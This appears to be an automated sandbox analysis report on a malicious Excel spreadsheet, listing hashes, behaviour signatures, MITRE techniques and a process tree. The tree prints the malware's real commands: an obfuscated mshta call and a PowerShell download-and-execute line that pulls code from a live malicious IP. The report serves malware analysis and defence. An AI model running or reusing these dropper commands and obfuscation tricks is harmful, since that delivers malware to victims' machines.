d26f4a2809e92686fcb04d7e6662638fb1da0e2e7d7dd7057ef7931d1c36f4d3

General

Target
de3ee053745d4f2022bad2e1fa40e330.xls
Size 142KB
Sample220119-ws7jdscbgk
SHA256 d26f4a2809e92686fcb04d7e6662638fb1da0e2e7d7dd7057ef7931d1c36f4d3
MD5 de3ee053745d4f2022bad2e1fa40e330
SHA1 ccafe5adbcaba377a62aaefc573130565f80fb3e
SHA512 7a199fbea59e8d3021b240fb70cea754e33a71fbc5a9dab582706da3c910c15e545a07136544d76d43a3eec4cf2a34f82ea859a8877f3b5885d94eef28df94b2
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4080	3572	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	832	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3452	832	WerFault.exe	61

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3572	EXCEL.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE
3572	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3572 wrote to memory of 3480	3572	EXCEL.EXE	57
PID 3572 wrote to memory of 3480	3572	EXCEL.EXE	57
PID 3572 wrote to memory of 4080	3572	EXCEL.EXE	59
PID 3572 wrote to memory of 4080	3572	EXCEL.EXE	59
PID 4080 wrote to memory of 832	4080	cmd.exe	61
PID 4080 wrote to memory of 832	4080	cmd.exe	61
PID 832 wrote to memory of 3516	832	mshta.exe	64
PID 832 wrote to memory of 3516	832	mshta.exe	64

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\de3ee053745d4f2022bad2e1fa40e330.xls"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3572
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3516
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 832 -s 1720
      4⤵
      Program crash
      PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3356

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 412 -p 832 -ip 832
1⤵
PID:3864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3572-130-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

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memory/3572-131-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

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memory/3572-132-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

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memory/3572-133-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

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memory/3572-134-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

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memory/3572-137-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

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memory/3572-138-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads